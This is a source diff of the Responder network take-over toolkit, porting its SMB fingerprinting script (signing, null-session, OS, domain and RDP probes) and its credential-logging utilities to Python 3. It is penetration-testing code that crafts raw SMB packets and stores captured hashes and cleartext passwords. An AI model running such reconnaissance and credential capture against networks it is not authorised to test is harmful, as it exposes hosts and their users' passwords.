0c5c02e..38f39d7 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -14,20 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import re,sys,socket,struct +import re,sys,struct import datetime import multiprocessing from socket import * from odict import OrderedDict import optparse from RunFingerPackets import * - -__version__ = "0.8" +__version__ = "1.0" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) -parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False) parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") options, args = parser.parse_args() @@ -38,148 +36,146 @@ if options.TARGET is None: Timeout = 2 Host = options.TARGET -MS17010Check = options.all class Packet(): fields = OrderedDict([ ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) + +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) + length = StructWithLenPython2or3(">i", len(''.join(payload))) return length def GetBootTime(data): - Filetime = int(struct.unpack(' 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion if length <= 255: - OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion except: - return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" + return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" + def GetHostnameAndDomainName(data): try: - DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) Time = GetBootTime(data[60:68]) + data = NetworkRecvBufferPython2or3(data) + DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]]) #If max length domain name, there won't be a \x00\x00\x00 delineator to split on if Hostname == '': - DomainJoined = data[81:110].replace('\x00','') - Hostname = data[113:].replace('\x00','') + DomainJoined = data[81:110].decode('latin-1') + Hostname = data[113:].decode('latin-1') return Hostname, DomainJoined, Time except: - return "Could not get Hostname.", "Could not get Domain joined" + return "Could not get Hostname.", "Could not get Domain joined" def DomainGrab(Host): s = socket(AF_INET, SOCK_STREAM) try: - s.settimeout(Timeout) - s.connect(Host) + s.settimeout(Timeout) + s.connect(Host) except: - pass + pass try: - h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") - n = SMBNegoDataLanMan() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - data = s.recv(2048) - s.close() - if data[8:10] == "\x72\x00": - return GetHostnameAndDomainName(data) + h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") + n = SMBNegoDataLanMan() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + s.close() + if data[8:10] == b'\x72\x00': + return GetHostnameAndDomainName(data) except: - pass + pass def SmbFinger(Host): - s = socket(AF_INET, SOCK_STREAM) - try: - s.settimeout(Timeout) - s.connect(Host) - except: - pass - try: - h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") - n = SMBNego(Data = SMBNegoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - data = s.recv(2048) - signing = IsSigningEnabled(data) - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") - t = SMBSessionFingerData() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - if data[8:10] == "\x73\x16": - OsVersion, ClientVersion = OsNameClientVersion(data) - return signing, OsVersion, ClientVersion - except: - pass - - -def check_ms17_010(host): s = socket(AF_INET, SOCK_STREAM) try: s.settimeout(Timeout) s.connect(Host) - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") + except: + pass + try: + h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") n = SMBNego(Data = SMBNegoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 - s.send(buffer0) + s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - if data[8:10] == "\x75\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00") - t = SMBTransRAPData() - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + signing = IsSigningEnabled(data) + if data[8:10] == b'\x72\x00': + head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + t = SMBSessionFingerData() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - if data[9:13] == "\x05\x02\x00\xc0": - return True - else: - return False - else: - return False - except Exception as err: - return False - + if data[8:10] == b'\x73\x16': + OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data)) + return signing, OsVersion, ClientVersion + except: + pass def check_smb_null_session(host): s = socket(AF_INET, SOCK_STREAM) @@ -191,65 +187,86 @@ def check_smb_null_session(host): n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 - s.send(buffer0) + s.send(NetworkSendBufferPython2or3(buffer0)) data = s.recv(2048) - if data[8:10] == "\x75\x00": + if data[8:10] == b'\x72\x00': + h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00") + n = SMBSessionData() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x73\x16': + h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00") + n = SMBSession2() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x73\x00': + h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00") + n = SMBTreeConnectData() + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + data = s.recv(2048) + if data[8:10] == b'\x75\x00': return True else: return False except Exception: + pass return False ################## #run it def ShowResults(Host): try: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - if MS17010Check: - Ms17010 = check_ms17_010(Host) - print "Retrieving information for %s..."%Host[0] - print "SMB signing:", Signing - print "Null Sessions Allowed:", NullSess - print "Vulnerable to MS17-010:", Ms17010 - print "Server Time:", Time[1] - print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) - print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) - else: - print "Retrieving information for %s..."%Host[0] - print "SMB signing:", Signing - print "Null Sessions Allowed:", NullSess - print "Server Time:", Time[1] - print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) - print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) + Hostname, DomainJoined, Time = DomainGrab((Host, 445)) + Signing, OsVer, LanManClient = SmbFinger((Host, 445)) + NullSess = check_smb_null_session((Host, 445)) + print(("Retrieving information for %s..."%(Host))) + print(("SMB signing: %s"%(Signing))) + print(("Null Sessions Allowed: %s"%(NullSess))) + print(("Server Time: %s"%(Time[1]))) + print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient))) + print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined))) + print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389))))) except: - pass + pass def ShowSmallResults(Host): s = socket(AF_INET, SOCK_STREAM) try: - s.settimeout(Timeout) - s.connect(Host) + s.settimeout(Timeout) + s.connect((Host, 445)) except: - return False + return False try: - if MS17010Check: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - Ms17010 = check_ms17_010(Host) - message_ms17010 = ", MS17-010: {}".format(Ms17010) - print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010)) - else: - Hostname, DomainJoined, Time = DomainGrab(Host) - Signing, OsVer, LanManClient = SmbFinger(Host) - NullSess = check_smb_null_session(Host) - print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess)) + Hostname, DomainJoined, Time = DomainGrab((Host, 445)) + Signing, OsVer, LanManClient = SmbFinger((Host, 445)) + NullSess = check_smb_null_session((Host, 445)) + print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389))))) except Exception as err: pass +def IsRDPOn(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect(Host) + if s: + return True + else: + return False + + except Exception as err: + return False + def RunFinger(Host): m = re.search("/", str(Host)) if m: @@ -262,13 +279,13 @@ def RunFinger(Host): else: func = ShowResults for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - p = multiprocessing.Process(target=func, args=((host,445),)) + p = multiprocessing.Process(target=func, args=((host),)) threads.append(p) p.start() else: if options.grep_output: - ShowSmallResults((Host,445)) + ShowSmallResults(Host) else: - ShowResults((Host,445)) + ShowResults(Host) RunFinger(Host) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index 96adb48..e5ce645 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -1,24 +1,33 @@ -import random, struct +import random, struct, sys from socket import * from time import sleep from odict import OrderedDict -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') class Packet(): fields = OrderedDict([ ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) class SMBHeader(Packet): fields = OrderedDict([ @@ -42,9 +51,9 @@ class SMBNego(Packet): ("Bcc", "\x62\x00"), ("Data", "") ]) - + def calculate(self): - self.fields["Bcc"] = struct.pack(". -from UserDict import DictMixin +import sys +try: + from UserDict import DictMixin +except ImportError: + from collections import UserDict + from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): @@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin): if not self: raise KeyError('dictionary is empty') if last: - key = reversed(self).next() + key = next(reversed(self)) else: - key = iter(self).next() + key = next(iter(self)) value = self.pop(key) return key, value @@ -77,25 +66,35 @@ class OrderedDict(dict, DictMixin): inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: - return self.__class__, (items,), inst_dict + return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems + if sys.version_info >= (3, 0): + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.keys + itervalues = DictMixin.values + iteritems = DictMixin.items + else: + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, self.items()) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): return self.__class__(self) @@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin): def __eq__(self, other): if isinstance(other, OrderedDict): return len(self)==len(other) and \ - min(p==q for p, q in zip(self.items(), other.items())) + min(p==q for p, q in zip(list(self.items()), list(other.items()))) return dict.__eq__(self, other) def __ne__(self, other): return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] diff --git a/utils.py b/utils.py index 0808b40..6b91b86 100644 --- a/utils.py +++ b/utils.py @@ -22,25 +22,38 @@ import socket import time import settings import datetime +import codecs +import struct def RandomChallenge(): - if settings.Config.NumChal == "random": - from random import getrandbits - NumChal = '%016x' % getrandbits(16 * 4) - Challenge = '' - for i in range(0, len(NumChal),2): - Challenge += NumChal[i:i+2].decode("hex") - return Challenge - else: - return settings.Config.Challenge + if settings.Config.PY2OR3 is "PY3": + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = b'%016x' % getrandbits(16 * 4) + Challenge = b'' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2] + return codecs.decode(Challenge, 'hex') + else: + return settings.Config.Challenge + else: + if settings.Config.NumChal == "random": + from random import getrandbits + NumChal = '%016x' % getrandbits(16 * 4) + Challenge = '' + for i in range(0, len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + return Challenge + else: + return settings.Config.Challenge def HTTPCurrentDate(): - Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') - return Date + Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + return Date try: import sqlite3 except: - print "[!] Please install python-sqlite3 extension." + print("[!] Please install python-sqlite3 extension.") sys.exit(0) def color(txt, code = 1, modifier = 0): @@ -54,8 +67,8 @@ def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def text(txt): - stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) - logging.info(stripcolors) + stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) + logging.info(stripcolors) if os.name == 'nt': return txt return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) @@ -73,7 +86,7 @@ def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): return False elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: - print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp + print(color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp) return False elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: return False @@ -94,10 +107,16 @@ def RespondToThisHost(ClientIp, Name): return RespondToThisIP(ClientIp) and RespondToThisName(Name) def RespondWithIPAton(): - if settings.Config.ExternalIP: - return settings.Config.ExternalIPAton - else: - return settings.Config.IP_aton + if settings.Config.PY2OR3 is "PY2": + if settings.Config.ExternalIP: + return settings.Config.ExternalIPAton + else: + return settings.Config.IP_aton + else: + if settings.Config.ExternalIP: + return settings.Config.ExternalIPAton.decode('latin-1') + else: + return settings.Config.IP_aton.decode('latin-1') def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": @@ -123,7 +142,7 @@ def FindLocalIP(Iface, OURIP): return ret return OURIP except socket.error: - print color("[!] Error: %s: Interface not found" % Iface, 1) + print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) # Function used to write captured hashs to a file. @@ -146,6 +165,34 @@ def DumpConfig(outfile, data): with open(outfile,"a") as dump: dump.write(data + '\n') +def StructPython2or3(endian,data): + #Python2... + if settings.Config.PY2OR3 is "PY2": + return struct.pack(endian, len(data)) + #Python3... + else: + return struct.pack(endian, len(data)).decode('latin-1') + +def StructWithLenPython2or3(endian,data): + #Python2... + if settings.Config.PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if settings.Config.PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if settings.Config.PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + def CreateResponderDb(): if not os.path.exists(settings.Config.DatabaseFile): cursor = sqlite3.connect(settings.Config.DatabaseFile) @@ -162,7 +209,7 @@ def SaveToDb(result): result[k] = '' if len(result['user']) < 2: - print color('[*] Skipping one character username: %s' % result['user'], 3, 1) + print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) text("[*] Skipping one character username: %s" % result['user']) return @@ -184,48 +231,48 @@ def SaveToDb(result): if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - if settings.Config.CaptureMultipleHashFromSameHost: + if settings.Config.CaptureMultipleHashFromSameHost: with open(logfile,"a") as outf: if len(result['cleartext']): # If we obtained cleartext credentials, write them to file outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) else: # Otherwise, write JtR-style hash string to file - outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') + outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n') if not count or settings.Config.Verbose: # Print output if len(result['client']): - print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))) if len(result['hostname']): - print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))) if len(result['user']): - print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))) # Bu order of priority, print cleartext, fullhash, or hash if len(result['cleartext']): - print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))) elif len(result['fullhash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))) elif len(result['hash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))) # Appending auto-ignore list if required # Except if this is a machine account's hash if settings.Config.AutoIgnore and not result['user'].endswith('$'): settings.Config.AutoIgnoreList.append(result['client']) - print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) + print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)) elif len(result['cleartext']): - print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1) + print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)) text('[*] Skipping previously captured cleartext password for %s' % result['user']) else: - print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) + print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)) text('[*] Skipping previously captured hash for %s' % result['user']) cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) cursor.commit() @@ -250,11 +297,11 @@ def SavePoisonersToDb(result): def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": + if data[len(data)-4:len(data)][1] ==b'\x1c': return False - elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': return True - elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': return True return False @@ -269,7 +316,7 @@ def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's per for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + return ''.join(list(filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')))) except: return "Illegal NetBIOS name" @@ -295,72 +342,73 @@ def banner(): ' |__|' ]) - print banner - print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ - print "" - print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" - print " To kill this script hit CTRL-C" - print "" + print(banner) + print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) + print('') + print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") + print(" To kill this script hit CTRL-C") + print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - print "" - print color("[+] ", 2, 1) + "Poisoners:" - print ' %-27s' % "LLMNR" + enabled - print ' %-27s' % "NBT-NS" + enabled - print ' %-27s' % "DNS/MDNS" + enabled - print "" + print('') + print(color("[+] ", 2, 1) + "Poisoners:") + print(' %-27s' % "LLMNR" + enabled) + print(' %-27s' % "NBT-NS" + enabled) + print(' %-27s' % "DNS/MDNS" + enabled) + print('') - print color("[+] ", 2, 1) + "Servers:" - print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) - print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) - print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) - print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) - print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) - print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) - print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) - print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) - print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) - print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) - print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) - print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) - print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) - print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled) - print "" + print(color("[+] ", 2, 1) + "Servers:") + print(' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)) + print(' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)) + print(' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)) + print(' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)) + print(' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)) + print(' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)) + print(' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)) + print(' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)) + print(' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)) + print(' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)) + print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) + print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) + print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) + print('') - print color("[+] ", 2, 1) + "HTTP Options:" - print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) - print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) - print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) - #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script - print "" + print(color("[+] ", 2, 1) + "HTTP Options:") + print(' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)) + print(' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)) + print(' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)) + print(' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)) + #print(' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print('') - print color("[+] ", 2, 1) + "Poisoning Options:" - print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) - print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) - print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) - print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) - print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) - print "" + print(color("[+] ", 2, 1) + "Poisoning Options:") + print(' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)) + print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)) + print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) + print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) + print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) + print('') - print color("[+] ", 2, 1) + "Generic Options:" - print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) - print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) - print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + print(color("[+] ", 2, 1) + "Generic Options:") + print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) + print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) + print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) if settings.Config.Upstream_Proxy: - print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - if len(settings.Config.RespondTo): - print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - if len(settings.Config.RespondToName): - print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - if len(settings.Config.DontRespondTo): - print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - if len(settings.Config.DontRespondToName): - print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) - print "\n\n" + print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) + + if len(settings.Config.RespondTo): + print(' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)) + if len(settings.Config.RespondToName): + print(' %-27s' % "Respond To Names" + 